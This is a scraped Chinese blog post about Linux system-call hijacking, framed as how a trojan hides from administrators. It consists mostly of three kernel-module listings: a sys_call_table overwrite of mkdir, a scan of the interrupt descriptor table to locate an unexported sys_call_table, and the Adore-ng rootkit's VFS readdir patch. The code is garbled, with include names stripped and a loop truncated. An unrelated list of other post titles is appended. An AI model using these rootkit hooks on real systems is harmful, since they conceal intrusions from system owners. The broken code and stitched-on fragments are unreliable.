网页端对接linux发起cc,(cc)实现Linux系统调用劫持
关于系统调用劫持
如果一个木马要隐藏起来,不被系统管理员发现。截获系统调用似乎是必须的。大部分情况下,通过修改系统调用表来实现系统调用的劫持。下面是一个典型的截获系统调用的模块:
模块一:
#include #include #include #include #include #include #include #include #include
MODULE_LICENSE("GPL");
extern void* sys_call_table[]; /*sys_call_table is exported, so we can accessit. But in some system this will cause problem */
int (*orig_mkdir)(const char *path); /*the original systemcall*/
int hacked_mkdir(const char *path)
{
return 0; /*everything is ok, but he new systemcall does nothing*/
}
int init_module(void) /*module setup*/
{
orig_mkdir=sys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir]=hacked_mkdir;
return 0;
}
void cleanup_module(void) /*module shutdown*/
{
sys_call_table[SYS_mkdir]=orig_mkdir;
/*set mkdir syscall to the origal one*/
}
用这种方法实现系统调用有个前提,就是系统必须导出sys_call_table内核符号,但是在2.6内核和有些2.4内核的系统(比如
redhat as 3)中,sys_call_table不再导出。也就是说模块中不能再通过简单的extern void
*sys_call_table[];来获得系统调用表地址。所幸的是,即使内核不导出sys_call_table,也可以在内存中找到它的地址,下面
是它的实现方法:
模块二:(2.4和2.6内核测试通过)
#include #include #include #include #include
MODULE_LICENSE("GPL");
MODULE_AUTHOR("");
MODULE_DESCRIPTION("Different from others, this module automatically locate the entry of
sys_call_table !");
unsigned long *sys_call_table=NULL;
asmlinkage int (*orig_mkdir)(const char *,int);
struct _idt
{
unsigned short offset_low,segment_sel;
unsigned char reserved,flags;
unsigned short offset_high;
};
unsigned long *getscTable(){
unsigned char idtr[6],*shell,*sort;
struct _idt *idt;
unsigned long system_call,sct;
unsigned short offset_low,offset_high;
char *p;
int i;
/* get the interrupt descriptor table */
__asm__("sidt %0" : "=m" (idtr));
/* get the address of system_call */
idt=(struct _idt*)(*(unsigned long*)&idtr[2]+8*0x80);
offset_low = idt->offset_low;
offset_high = idt->offset_high;
system_call=(offset_high<<16)|offset_low;
shell=(char *)system_call;
sort="\xff\x14\x85";
/* get the address of sys_call_table */
for(i=0;i if(shell[i]==sort[0]&&shell[i+1]==sort[1]&&shell[i+2]==sort[2])
break;
p=&shell[i];
p+=3;
sct=*(unsigned long*)p;
return (unsigned long*)(sct);
}
asmlinkage int hacked_mkdir(const char * pathname, int mode){
printk("PID %d called sys_mkdir !\n",current->pid);
return orig_mkdir(pathname,mode);
}
static int __init find_init(void){
sys_call_table = getscTable();
orig_mkdir=(int(*)(const char*,int))sys_call_table[__NR_mkdir];
sys_call_table[__NR_mkdir]=(unsigned long)hacked_mkdir;
return 0;
}
static void __exit find_cleanup(void){
sys_call_table[__NR_mkdir]=(unsigned long)orig_mkdir;
}
module_init(find_init);
module_exit(find_cleanup);
getscTable()是在内存中查找sys_call_table地址的函数。
每一个系统调用都是通过int
0x80中断进入核心,中断描述符表把中断服务程序和中断向量对应起来。对于系统调用来说,操作系统会调用system_call中断服务程序。
system_call函数在系统调用表中根据系统调用号找到并调用相应的系统调用服务例程。idtr寄存器指向中断描述符表的起始地址,用
__asm__ ("sidt %0" : "=m" (idtr));指令得到中断描述符表起始地址,从这条指令中得到的指针可以获得int
0x80中断服描述符所在位置,然后计算出system_call函数的地址。反编译一下system_call函数可以看到在system_call函
数内,是用call sys_call_table指令来调用系统调用函数的。
因此,只要找到system_call里的call sys_call_table(,eax,4)指令的机器指令就可以获得系统调用表的入口地址了。
对于截获文件系统相关的系统调用,Adore-ng rootkit提供了一种新的方法。简单的说,就是通过修改vfs文件系统的函数跳转表来截获系统调用,这种方法不用借助于系统调用表。
下面是它的实现方法:
模块三:(2.4和2.6内核测试通过)
#include #include #include #include #include #include
MODULE_AUTHOR("");
MODULE_DESCRIPTION("By utilizing the VFS filesystem, this module can capturesystem calls.");
MODULE_LICENSE("GPL");
char *root_fs="/";
typedef int (*readdir_t)(struct file *,void *,filldir_t);
readdir_t orig_root_readdir=NULL;
int myreaddir(struct file *fp,void *buf,filldir_t filldir)
{
int r;
printk("<1>You got me partner!\n");
r=orig_root_readdir(fp,buf,filldir);
return r;
}
int patch_vfs(const char *p,readdir_t *orig_readdir,readdir_t new_readdir)
{
struct file *filep;
filep=filp_open(p,O_RDONLY,0);
if(IS_ERR(filep))
return -1;
if(orig_readdir)
*orig_readdir=filep->f_op->readdir;
filep->f_op->readdir=new_readdir;
filp_close(filep,0);
return 0;
}
int unpatch_vfs(const char *p,readdir_t orig_readdir)
{
struct file *filep;
filep=filp_open(p,O_RDONLY,0);
if(IS_ERR(filep))
return -1;
filep->f_op->readdir=orig_readdir;
filp_close(filep,0);
return 0;
}
static int patch_init(void)
{
patch_vfs(root_fs,&orig_root_readdir,myreaddir);
printk("<1>VFS is patched!\n");
return 0;
}
static void patch_cleanup(void)
{
unpatch_vfs(root_fs,orig_root_readdir);
printk("<1>VFS is unpatched!\n");
}
module_init(patch_init);
module_exit(patch_cleanup);
网页端对接linux发起cc,(cc)实现Linux系统调用劫持相关推荐
- 网页端对接linux发起cc,网页端和mLink指南
慧编程网页端 慧编程网页端可以让你在网页上编程,免去下载客户端.只要在网页上打开,随时就可进行创造. 为了在慧编程的网页端连接硬件,我们需要安装 mLink. mLink 快速安装指南 一.安装前准备 ...
- linux安装音乐软件教程,Linux上好用的五款音乐播放器
Jack Wallen 盘点他***的五款 Linux 音乐播放器. 不管你做什么,你都有时会来一点背景音乐.不管你是开发.运维或是一个典型的电脑用户,享受美妙的音乐都可能是你在电脑上最想做的事情之一 ...
- linux下查看cc攻击
什么是CC攻击?CC攻击就是利用大量代理服务器对目标计算机发起大量连接,导致目标服务器资源枯竭造成拒绝服务.那么如何判断查询CC攻击呢?本文主要介绍了一些Linux下判断CC攻击的命令. 查看所有80 ...
- Linux 下 的 cc 和 gcc
可以用yum在线安装gcc: [root@VM_0_12_centos ~]# yum install gcc Loaded plugins: fastestmirror, langpacks Loa ...
- linux cc脚本,Linux运维知识之Linux简单处理CC攻击shell脚本
本文主要向大家介绍了Linux运维知识之Linux简单处理CC攻击shell脚本,通过具体的内容向大家展现,希望对大家学习Linux运维知识有所帮助. 第一个脚本是通过查找日志中访问次数过多的ip,并 ...
- Linux + 香橙派 + V4L2 + http 实现远程监控摄像头在网页端显示
项目场景: 项目需求,需要做一个基于边缘端的人脸识别远程监控摄像头并在网页前端展示 ,这里采用国产香橙派作为边缘计算终端,安装ubuntu系统,系统中采用v4l2接口对摄像头进行获取,当客户端通过网页 ...
- Linux系统防CC攻击自动拉黑IP增强版Shell脚本
Linux系统防CC攻击自动拉黑IP增强版Shell脚本 文章目录 一.Shell代码 二.执行脚本 三.效果测试 四.附加说明 前天没事写了一个防CC攻击的Shell脚本,没想到这么快就要用上了,原 ...
- Linux系统防CC攻击自动拉黑IP增强版(Shell脚本)
这篇文章主要介绍了Linux系统防CC攻击自动拉黑IP增强版(Shell脚本),需要的朋友可以参考下 前天没事写了一个防CC攻击的Shell脚本,没想到这么快就要用上了,原因是因为360网站卫士的缓存 ...
- linux ps 脚本下载,适用于GNU/Linux的Photoshop CC v19安装程序脚本
Photoshop CC v19 installer for Linux是适用于Linux的Photoshop CC v19安装程序,此bash脚本可帮助您在后台使用Wine在Linux机器上安装Ph ...
最新文章
- 【Android 逆向】ART 脱壳 ( DexClassLoader 脱壳 | exec_utils.cc 中执行 Dex 编译为 Oat 文件的 Exec 和 ExecAndReturnC函数 )
- Linux20180416四周第一次课(4月11日)
- FPGA篇(五)Capture导出FPGA引脚分配和端口定义
- 在iOS平台上使用TensorFlow教程(上)
- Mac Android Studio 常用快捷键
- Asp.Net Core中的静态文件-12
- 高级排序之分割法(以某数为基准分割)
- 成功的人和不成功的人最大的区别
- 中职计算机基础课教学策略研究,计算机-研究教学方法中职学校计算机基础课程教学策略的论文开题报告-优度********网...
- 【转】掌握java枚举类型(enum type)
- Playwright选择器
- The error occurred while setting parameters
- 雷达干扰技术(二)数字干扰合成及相关技术
- SpringBoot+Vue项目在线学生请假管理系统
- 单精度、双精度和半精度浮点格式之间的区别
- C++中pow()函数
- 什么是用户画像——从零开始搭建实时用户画像(一)
- 字体大宝库:25款很好看的手写字体下载
- STM32配置CH375B成HID Host模式读取自定义HID设备的数据 ——STM32配置CH375B接口函数
- python实验二序列_Python合集之Python序列(二)
热门文章
- android怎么引用ttf字体,android 自定义字体ttf使用的几种方法
- 计算机网络实验五静态路由与RIP协议,实验锐捷实训8-1--配置静态路由和rip协议...
- 如何在MVC中下载模板和上传word文件
- 生日快乐页面_宇智波佐助生日快乐!参与活动,豚豚为你送福利!
- c++ string 数组_PHP数组与字符串之间相互转换的方法
- android onresume函数,android – 使用onResume()刷新活动
- leancloud上传php源码部署,部署灵动云商到LeanCloud[图解]
- 信息技术与计算机文化达标卷,初中信息技术试卷
- 64位 iee754_IEEE754浮点表示法详解
- 最难忘的一节计算机课,最难忘的一节课作文五篇